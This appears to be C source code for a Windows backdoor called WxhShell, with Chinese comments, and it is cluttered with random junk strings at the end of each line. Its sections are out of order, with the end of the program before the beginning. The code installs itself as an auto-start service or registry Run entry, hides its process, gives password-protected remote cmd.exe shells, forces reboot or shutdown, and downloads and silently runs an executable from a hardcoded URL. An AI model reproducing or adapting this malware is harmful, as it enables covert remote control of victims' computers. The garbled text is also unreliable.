  case 'd': { 0F 4%Xz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v>Kv!OY:c  
    if(Boot(SHUTDOWN)) kafj?F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n)]u|qq  
    else { F JxH{N6a  
    closesocket(wsh); uhmSp+%  
    ExitThread(0); %8% 0l*n'  
    } |2X+( F Ed  
    break; JHVesX  
    } Wzh#dO?7  
  // 获取shell h7\16j  
  case 's': { /EM=!@ka  
    CmdShell(wsh); g7LS  
    closesocket(wsh); ~ln96*)M;  
    ExitThread(0); QfU{W@!h  
    break; #5IfF~* i  
  } ;&RHc#1F  
  // 退出 H]f8W]"c[  
  case 'x': { euh rEjwkH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TbR Ee;1  
    CloseIt(wsh); za4:Jdr  
    break; {f%x8t$  
    } z"@UNypc,  
  // 离开 b;(BMO,(  
  case 'q': { M*jn8OE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X9uYqvP\(  
    closesocket(wsh); Je~Ybh  
    WSACleanup(); a: OuDjFp  
    exit(1); O:O +Q!58  
    break; Nf{tC9l  
        } p8u -3  
  } o>4GtvA*  
  } w8AHs/'r  
FHu+dZ  
  // 提示信息 Jp`qE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L{i|OK^e  
} -u 'BK@;  
  } M)CE%/P  
XFN4m #  
  return; S A16Ng  
} w!^{Q'/,Q  
0NG<uZ  
// shell模块句柄 8(A+"H(  
int CmdShell(SOCKET sock) !@-g9z  
{ a)Ca:p  
STARTUPINFO si; )y}W=Q>T  
ZeroMemory(&si,sizeof(si)); u~^d5["T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HBnnIbEtF'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |;_uN q9  
PROCESS_INFORMATION ProcessInfo; [S!_ubP5  
char cmdline[]="cmd"; R k).D 6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RBzBR)@5   
  return 0; PG/xX H  
} :vJ0Ypz-u  
u CNi&.  
// 自身启动模式 $]yHk  
int StartFromService(void) o=VDO,eS  
{ nZ2mY!*  
typedef struct : |?nz$  
{ S>pbplE  
  DWORD ExitStatus; 1tQl^>r16  
  DWORD PebBaseAddress; XZFM|=%X  
  DWORD AffinityMask; ]2P*Z6Az  
  DWORD BasePriority; JH;\wfr D  
  ULONG UniqueProcessId; u;qBW uO  
  ULONG InheritedFromUniqueProcessId; \{ui{8+G  
}   PROCESS_BASIC_INFORMATION; \L: ;~L/  
#A2)]XvY  
PROCNTQSIP NtQueryInformationProcess; _*O^|QbM  
24 i00s|#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fc #zhp5bX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .:b|imgiv  
@dzO{)  
  HANDLE             hProcess; q-fxs8+m|  
  PROCESS_BASIC_INFORMATION pbi; jLs-v  
5xawa:K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @;we4G5  
  if(NULL == hInst ) return 0; p=65L  
/ b_C9'S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lklMdsIdj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U h'1f7%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #;32(II  
{\Eqo4A5}  
  if (!NtQueryInformationProcess) return 0; n~g,qEI;<x  
RTW4r9~'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v/E_A3Ay&  
  if(!hProcess) return 0; (gv1f  
f@%H"8w!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N{u4  
f"j"ZM{~U  
  CloseHandle(hProcess); '@ym-\,  
w}<CH3cx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >t,BNsWB  
if(hProcess==NULL) return 0; n'yC-;  
H\\0V.}!  
HMODULE hMod; vPn(~d_  
char procName[255]; S'NZb!1+  
unsigned long cbNeeded; 4{h?!Z*  
Ccw6,2`&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DL5`A?/  
`43`*=  
  CloseHandle(hProcess); v(T;Y=&  
)pS1yYLj  
if(strstr(procName,"services")) return 1; // 以服务启动 OA\2ja~+  
o!`.LL%  
  return 0; // 注册表启动 .`OyC'  
} `,mE '3&  
<|_/i/H  
// 主模块 c5?;^a[  
int StartWxhshell(LPSTR lpCmdLine) bY4~\cP.  
{ >;N0( xB  
  SOCKET wsl; W 2VH?-Gw  
BOOL val=TRUE; =y; tOdj  
  int port=0; <n iq*  
  struct sockaddr_in door; /;t42 g9w  
p!MOp-;-  
  if(wscfg.ws_autoins) Install(); 2,c{Z$\kn  
h2 2-v X  
port=atoi(lpCmdLine); :xitV]1.   
S{7*uK3$  
if(port<=0) port=wscfg.ws_port; OAu ?F}O  
&D "$N"  
  WSADATA data; sjpcz4|K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~VZ)LQ'7  
1us-ootsjP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [:x^ffs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~7Ey9wRkD  
  door.sin_family = AF_INET; [HJ^'/bB'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PpPg ~ix*  
  door.sin_port = htons(port); x | =  
nYJ)M AG@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^uzJu(  
closesocket(wsl); $=7[.z&  
return 1; g@!mV)c97  
} Y/1KvF4)k  
A"t~ )  
  if(listen(wsl,2) == INVALID_SOCKET) { CQf!<  
closesocket(wsl); 1$Rua  
return 1; q -%;~LF  
} 7mipj]  
  Wxhshell(wsl); <]6])f,y\  
  WSACleanup(); /; ;_l2t  
3okh'P%+  
return 0; gWm -}Nb4  
-lr)z=})  
} hqW4.|&\c  
5mwtlC':l?  
// 以NT服务方式启动 b4GD}kR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T8& kxp  
{ 8RJXY:%  
DWORD   status = 0; Tbl~6P  
  DWORD   specificError = 0xfffffff; ~|e?@3_G  
"'us.t.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gs)wQgJ[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %|L+~=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x8I=I"Sp  
  serviceStatus.dwWin32ExitCode     = 0; Az.(tJ X"  
  serviceStatus.dwServiceSpecificExitCode = 0; >U\,(VB  
  serviceStatus.dwCheckPoint       = 0; km1{Oh  
  serviceStatus.dwWaitHint       = 0; 5gnNgt~  
Wk$ 7<gkr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p=m)lR9  
  if (hServiceStatusHandle==0) return; zPWX%1Qr  
OfC0lb:c  
status = GetLastError(); J-t5kU;L{  
  if (status!=NO_ERROR) W]kh?+SZ  
{ G+N &(:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R7: >'*F  
    serviceStatus.dwCheckPoint       = 0; %Q:i6 ~  
    serviceStatus.dwWaitHint       = 0; 4.)hCb  
    serviceStatus.dwWin32ExitCode     = status; [MfKBlA  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q2sX7 cE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IXYSZ)z  
    return; %[(DFutJY+  
  } >Q&E4jC  
_" 0VM >  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EgO=7?(pW  
  serviceStatus.dwCheckPoint       = 0; x&qC~F*QR%  
  serviceStatus.dwWaitHint       = 0; B. Rc s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >[TB8  
} 40cgsRa|  
E6(OEC%,  
// 处理NT服务事件,比如:启动、停止 j0b?dKd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ad^7t<a}<  
{ 2_@vSwC  
switch(fdwControl) "Sp+Q&2U  
{ ssVO+ T  
case SERVICE_CONTROL_STOP: E- ,/@4k  
  serviceStatus.dwWin32ExitCode = 0; R*~<?}Rr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .]+Z<5Fo  
  serviceStatus.dwCheckPoint   = 0; :A%|'HxH3  
  serviceStatus.dwWaitHint     = 0; q{/>hvl  
  { $Lpt2:.((  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a1]@&D r  
  } o~7~S  
  return; TCAtb('D  
case SERVICE_CONTROL_PAUSE: t}LV[bj1u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &|('z\k  
  break; ?c7 12a ?  
case SERVICE_CONTROL_CONTINUE: i=$##  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e(7F| G*  
  break; ]jNv}{  
case SERVICE_CONTROL_INTERROGATE: l \~w(8g<A  
  break; r )8[LN-  
}; P/;sZo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .nCF`5T!  
} f\+MnZ4[Qj  
V_pWf5F  
// 标准应用程序主函数 j'Ry.8}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {qO[93yg)/  
{ }C1&}hZ  
6XyhOs%/  
// 获取操作系统版本 {fXD@lhi  
OsIsNt=GetOsVer(); b4`t, D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vae}:8'}  
l);M(<  
  // 从命令行安装 ;Awt:jF  
  if(strpbrk(lpCmdLine,"iI")) Install(); PveY8[i  
 qW8sJ=  
  // 下载执行文件 ` #Qlr+X  
if(wscfg.ws_downexe) { 9W3zcL8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;Z]i$Vi_r  
  WinExec(wscfg.ws_filenam,SW_HIDE); ETk4I "  
} * SH5p  
=0,:w(Sb!  
if(!OsIsNt) { r}k2n s9  
// 如果时win9x,隐藏进程并且设置为注册表启动 \9Nd"E[B  
HideProc(); )xgOl*D  
StartWxhshell(lpCmdLine); jOL$kiW0  
} |F)BKo D  
else Rlc$2y@pU  
  if(StartFromService()) m$^Wyk}  
  // 以服务方式启动 rro92(y  
  StartServiceCtrlDispatcher(DispatchTable); ? &ie;t<7  
else (> O'^W\3p  
  // 普通方式启动 yhzC 9nTH  
  StartWxhshell(lpCmdLine); =7{n 2  
A1Tk6i<F1  
return 0; _*\:UBZx6  
} JJ\|FZ N  
N!R>L{H>  
'1'#,u!  
O$ dz=)  
=========================================== om6'%nXhn  
iTTUyftHT  
.Jk[thyU  
s~N WJ*i  
OW}ny  
S]_iobWK  
" J~.8.]gXW  
Ph@hk0dgr/  
#include <stdio.h> IM-O<T6r[N  
#include <string.h> 7l Q@I}i  
#include <windows.h> 9!CD25u  
#include <winsock2.h> } a#RX$d&  
#include <winsvc.h> #-T xhwYs  
#include <urlmon.h> *F:f\9   
{D6lS j  
#pragma comment (lib, "Ws2_32.lib") XMt)\r.  
#pragma comment (lib, "urlmon.lib") nPlg5&E  
 ! @EZ  
#define MAX_USER   100 // 最大客户端连接数 hnOo T? V  
#define BUF_SOCK   200 // sock buffer u!$+1fI>  
#define KEY_BUFF   255 // 输入 buffer L\)GPTo!x  
l@edR)n <  
#define REBOOT     0   // 重启 h = <x%sie  
#define SHUTDOWN   1   // 关机 GYp}V0  
 862e  
#define DEF_PORT   5000 // 监听端口 ]7+9>V  
HLYog+?  
#define REG_LEN     16   // 注册表键长度 {tE9m@[AF  
#define SVC_LEN     80   // NT服务名长度 JDbRv'F:(  
/6Bm <k%  
// 从dll定义API 42E%&DF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;ZOu-B]q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mbSG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iX]tL:,~i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _k'?eZB  
&YiUhK  
// wxhshell配置信息 ,)u1r3@I^  
struct WSCFG { wk+| }s  
  int ws_port;         // 监听端口 Pk2=*{:W  
  char ws_passstr[REG_LEN]; // 口令 GXk]u  
  int ws_autoins;       // 安装标记, 1=yes 0=no qDlh6W?}k  
  char ws_regname[REG_LEN]; // 注册表键名 $p(  
  char ws_svcname[REG_LEN]; // 服务名 B183h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -] @cUx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l%\p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }0okyGg>q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a_z1S Z2[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @ zs.M-F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4:zyZu3fm  
]a=n(`l?  
}; >;^t)6  
DH9p1)L'  
// default Wxhshell configuration xR~9|H9a  
struct WSCFG wscfg={DEF_PORT, m#Y[EPF=|  
    "xuhuanlingzhe", ! (H RP9  
    1, }uFV\1  
    "Wxhshell", S UB rFsA  
    "Wxhshell", dy"7Wl]hi7  
            "WxhShell Service", 5K#<VU*:  
    "Wrsky Windows CmdShell Service", '.gLqm}%  
    "Please Input Your Password: ", 52P^0<Wq  
  1, pr w% )#,  
  "http://www.wrsky.com/wxhshell.exe", M&SY2\\TB  
  "Wxhshell.exe" 'hNRIM1  
    }; Y 8Dn&W  
<lN=<9  
// 消息定义模块 `Lj'2LoER  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WupONrH1e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -IE=?23Do?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 49!(Sa_]j  
char *msg_ws_ext="\n\rExit."; 8+mu'RZ X  
char *msg_ws_end="\n\rQuit."; Q=u [j|0mc  
char *msg_ws_boot="\n\rReboot..."; 4(mRLr%l@`  
char *msg_ws_poff="\n\rShutdown..."; tq.g4X ;_  
char *msg_ws_down="\n\rSave to "; o>^ @s4t  
U6IvN@ g  
char *msg_ws_err="\n\rErr!"; cv7.=*Kb;  
char *msg_ws_ok="\n\rOK!"; .22}= z  
SYYg 2I  
char ExeFile[MAX_PATH]; BJP^?FUd=,  
int nUser = 0; mV;)V8'  
HANDLE handles[MAX_USER]; Hd ${I",  
int OsIsNt; p?,T%G+gqO  
uB;PaZ G?{  
SERVICE_STATUS       serviceStatus; :F.eyA|#@G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5?HoCz]l  
-Gj."ks  
// 函数声明 {C'9?4&  
int Install(void); H=@S+4_bK  
int Uninstall(void); 91oAg[@4G  
int DownloadFile(char *sURL, SOCKET wsh); jmr1e).];  
int Boot(int flag); k/m-jm_h  
void HideProc(void); ;~"#aL50fe  
int GetOsVer(void); f^[u70c82  
int Wxhshell(SOCKET wsl); a=r^?q'/  
void TalkWithClient(void *cs); yv(\5)XF  
int CmdShell(SOCKET sock); Y;1J` oT  
int StartFromService(void); ' fka?lL  
int StartWxhshell(LPSTR lpCmdLine); +nKf ^rG  
nC@UK{tVa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8z`Ne(h;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EMw biGV  
"%dok@v  
// 数据结构和表定义 _xdFQ  
SERVICE_TABLE_ENTRY DispatchTable[] = \w=*:Z  
{ ~+&Z4CYb  
{wscfg.ws_svcname, NTServiceMain}, Rf#t|MW*#  
{NULL, NULL} 0#!Z1:Y  
}; 7NP Ny  
Lb0BmR%0  
// 自我安装 +<7a$/L?4  
int Install(void) %R-KkK<S  
{ E-b3#\^:  
  char svExeFile[MAX_PATH]; 8gXf4A(N  
  HKEY key; 8]A`WDO3  
  strcpy(svExeFile,ExeFile); [' cq  
QmY1Bn?s  
// 如果是win9x系统,修改注册表设为自启动 u= ydX  
if(!OsIsNt) { 1J[|Ow  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :eL ja*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /u pDbP.O  
  RegCloseKey(key); o(3`-ucD`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  $&to(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >-4kO7.V  
  RegCloseKey(key); _-nIy*',=  
  return 0; ^<v]x; 3  
    } O_|p{65  
  } }NF7"tOL  
} ]V.0%Ccw;.  
else { ~,O}wT6q  
M|\C@,F]8  
// 如果是NT以上系统,安装为系统服务 H<C+ rAIb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #( o(p  
if (schSCManager!=0) rEY5,'?YHv  
{ Q+=D#x  
  SC_HANDLE schService = CreateService 5 $:  q  
  ( p WLFJH}N  
  schSCManager, I;3Uzv  
  wscfg.ws_svcname, x[1( cj  
  wscfg.ws_svcdisp, K91.-k3)$  
  SERVICE_ALL_ACCESS, p<AzpkU,A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YfUUbV  
  SERVICE_AUTO_START, ="AJ &BqHd  
  SERVICE_ERROR_NORMAL, "|%'/p  
  svExeFile, 707-iLkt.1  
  NULL, U(u$5  
  NULL, ^laf!kIP  
  NULL, JN<IMH  
  NULL, @g==U{k;t  
  NULL }q<%![%  
  ); G8Sx;Xi  
  if (schService!=0) 8jm\/?k|  
  { ;sfk@ec  
  CloseServiceHandle(schService); iVqa0Gl+}  
  CloseServiceHandle(schSCManager); p'`pO"EO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,`;Dre  
  strcat(svExeFile,wscfg.ws_svcname); r-IG.ym3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sN9 SuQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u|uPvbM  
  RegCloseKey(key); \<4Hp_2?  
  return 0; ;O Y*`(Id  
    } ,?ci+M)  
  } k{d)'\FM  
  CloseServiceHandle(schSCManager); `o,D[Jd  
} bsgrg  
} v#o<. Ig  
YMTB4|{  
return 1; Ceco^Mw  
} *d;D~"E<@  
{5N!udLDr5  
// 自我卸载 3f^~mTY9>]  
int Uninstall(void) ~<&47'D  
{ 2*9rhOK*  
  HKEY key; V=DT.u  
kEpCF:@A  
if(!OsIsNt) { rP7~ R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DV">9{"5']  
  RegDeleteValue(key,wscfg.ws_regname); {'R\C5 :D7  
  RegCloseKey(key); _;yi/)-2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (XJ0?;js=  
  RegDeleteValue(key,wscfg.ws_regname); I]OVzM  
  RegCloseKey(key); k6PHyt`3'  
  return 0; XI*cu\7sy  
  } =(U&?1R4  
} 'AjDB:Mt$  
} .<|.nK`6  
else { .ECT  
N&'05uWY}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f}U@e0Lsb  
if (schSCManager!=0) 1=.+!Tg  
{ %.3] F2_Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &@anv.D  
  if (schService!=0) c _faW  
  { ,@*Srrw  
  if(DeleteService(schService)!=0) { ,@]rvI6 x  
  CloseServiceHandle(schService); l{b*YUsz>  
  CloseServiceHandle(schSCManager); 5$C]$o}  
  return 0; QY]G+3W  
  } W nLMa|e  
  CloseServiceHandle(schService); #0wH.\79  
  } DRUvQf  
  CloseServiceHandle(schSCManager); y@?t[A#v  
} )^'g2gVK+p  
} "2~%-;c  
MU/3**zoW  
return 1; yDdi+  
} ]@D#<[5\  
ejuw+@ _  
// 从指定url下载文件 nD8CP[bRo  
int DownloadFile(char *sURL, SOCKET wsh) RN0=jo!58  
{ u:FFZ  
  HRESULT hr; ?U;KwS]%  
char seps[]= "/"; Qso"jYl<  
char *token; &+Iv"9  
char *file;  #mDeA>b  
char myURL[MAX_PATH]; [c=T)]E1  
char myFILE[MAX_PATH]; ZLRAiL  
Xob,jo}a  
strcpy(myURL,sURL); !u;r<:g!  
  token=strtok(myURL,seps); NLLLt  
  while(token!=NULL) Mx<? c  
  { XA*sBf  
    file=token; l5R0^!t  
  token=strtok(NULL,seps); D<35FD,  
  } <7;AK!BH  
bim 82<F  
GetCurrentDirectory(MAX_PATH,myFILE); }wh sZ  
strcat(myFILE, "\\"); /QeJ#EHn  
strcat(myFILE, file); l1h;ng6  
  send(wsh,myFILE,strlen(myFILE),0); GvCB3z  
send(wsh,"...",3,0); uuA q\YZy/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y,%d_yR[  
  if(hr==S_OK) K3Wh F  
return 0; T .57Okp  
else ;GgW&*|  
return 1; C25r3bj  
{B_pjs  
} W_ =  
N4wv'OrL]  
// 系统电源模块 ~baVS-v  
int Boot(int flag) lOc!KZHUp  
{ E_[)z%&n2  
  HANDLE hToken; ;hsem,C h7  
  TOKEN_PRIVILEGES tkp; ,>^6ztM  
p? dXs^ c  
  if(OsIsNt) { D_HE!fl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EPZ^I)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ![{>$Q?5  
    tkp.PrivilegeCount = 1; `a!:-.:v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %L\buwjy$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dHtbl\6  
if(flag==REBOOT) {  n]N+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ev R6^n/  
  return 0; sU/R$Nbr  
} i"h '^6M1  
else { Jx:t(oUR+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0x-58i0  
  return 0; ,.cNs5 [t  
} h#o3qY  
  } wQ4IQ!  
  else { (L{Kg U&{$  
if(flag==REBOOT) { ~is$Onf99#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B4<W%lm  
  return 0; h27awO Q  
} T.fmEl  
else { x tJ_azt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?3{R'Buv]  
  return 0; TJB) ]d<  
} 2 f" =f^rf  
} me#?1r  
rl\$a2_+  
return 1; +0,{gDd+  
} AF=9KWqf  
LxM.z1  
// win9x进程隐藏模块 j=%^CRum  
void HideProc(void) #q06K2  
{ = }&@XRLJ  
^k'?e"[gTs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H9x,C/r,  
  if ( hKernel != NULL ) 8fn7!  
  { zH1pW(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h"7:&=e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3 e19l!B  
    FreeLibrary(hKernel); LEq"g7YH  
  } acSm+t  
T,Bu5:@#  
return; C)7T'[  
} t3#My2=  
oBA]qI  
// 获取操作系统版本 %~V+wqu  
int GetOsVer(void) 1N `1~y  
{ e b])=  
  OSVERSIONINFO winfo;  t8 "*j t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [3yzVcr~4  
  GetVersionEx(&winfo); arCi$:-z@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vZgV/?'z  
  return 1; r((2.,\Z  
  else W>ziA  
  return 0; V)$y  
} q(i^sE[y  
hmA$gR_  
// 客户端句柄模块 5/v,|  
int Wxhshell(SOCKET wsl) KuU]enC3  
{ F-\Swbx+  
  SOCKET wsh; }~?B>vZS  
  struct sockaddr_in client; 0{ZYYB&"~J  
  DWORD myID; qk;vn}auD]  
hi{#HXa  
  while(nUser<MAX_USER) W"m\|x  
{ 0XrB+nt  
  int nSize=sizeof(client); r'kUU] j9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^w0V{qF{  
  if(wsh==INVALID_SOCKET) return 1; |H:JwxH  
Mp*S+Plp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U4DQ+g(A  
if(handles[nUser]==0) b`NXe7A  
  closesocket(wsh); K[wOK  
else ZZkxEq+D  
  nUser++; AL%gqt]  
  } j\^0BTZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )KZ1Z$<  
6GxQ<  
  return 0; [}7j0&  
} j@kL`Q\&I  
dQoZh E  
// 关闭 socket zW`Zmt\T2  
void CloseIt(SOCKET wsh) NDw+bR-  
{ .Z,3:3,]  
closesocket(wsh); u!k]Q#2ZR  
nUser--; Q^^.@FU"x  
ExitThread(0); @/S6P-4  
} A)5-w`1  
\htL\m^$9  
// 客户端请求句柄 j3Ng] @N  
void TalkWithClient(void *cs) *cjH]MQ0Ak  
{ ep"YGx  
'%W'HqVcG1  
  SOCKET wsh=(SOCKET)cs; qz|`\^  
  char pwd[SVC_LEN]; fI{ZElPp  
  char cmd[KEY_BUFF]; T&?0hSYt  
char chr[1]; _3q%  
int i,j; br!:g]Vh  
~~U2Sr  
  while (nUser < MAX_USER) { I91pX<NBf  
%ZN p  
if(wscfg.ws_passstr) { 8>: kv:MId  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !J34yro+s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V:M$-6jv  
  //ZeroMemory(pwd,KEY_BUFF); OSQt:58K  
      i=0; DVu_KT[Hd  
  while(i<SVC_LEN) { e=11EmN9  
u3!aKXnv<  
  // 设置超时 9N H"Ik*  
  fd_set FdRead; 8\Y/?$on  
  struct timeval TimeOut; >".,=u'  
  FD_ZERO(&FdRead); Vb|;@*=R&Q  
  FD_SET(wsh,&FdRead); fV-vy]x..  
  TimeOut.tv_sec=8; DRldRm/  
  TimeOut.tv_usec=0; +39Vxe:Oy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p_!;N^y.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >U~B"'!xV  
Ua.7_Em  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,"U8Fgf[r  
  pwd=chr[0]; Mr}]P(4h  
  if(chr[0]==0xd || chr[0]==0xa) { `aFy2x`3  
  pwd=0; 8^fkY'x  
  break; 7m;2M]BRi  
  } {VC4rA  
  i++; !Jo3>!,j  
    } 1a#oJU  
=*q|568  
  // 如果是非法用户,关闭 socket o E+s8Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :@PM+[B|Q  
} b\zRwp  
(fgX!G[W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CIt>D'/YT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rn O%8Hk  
{~g(WxE  
while(1) { (>qX>  
I*e8 5wef  
  ZeroMemory(cmd,KEY_BUFF); L[zg2y  
S7-ka{S  
      // 自动支持客户端 telnet标准   &tFVW[(  
  j=0; 9wP_dJvb  
  while(j<KEY_BUFF) { [/#c9RA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W~GbB:-  
  cmd[j]=chr[0]; wj>mk  
  if(chr[0]==0xa || chr[0]==0xd) { zr9o  
  cmd[j]=0; ?iH`-SY  
  break; @Taj++ua  
  } I xT[1$e  
  j++; QDlEby m  
    } s)$N&0\  
?3!"js B  
  // 下载文件 [GeJn\C_?  
  if(strstr(cmd,"http://")) { 0N3 cC4!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?45kN=%*s  
  if(DownloadFile(cmd,wsh)) \1 4"Bgj1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k%\_UYa  
  else tE0DST/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v}hmI']yf  
  } )SZt If  
  else { jR@j+p^e  
16MRLDhnD  
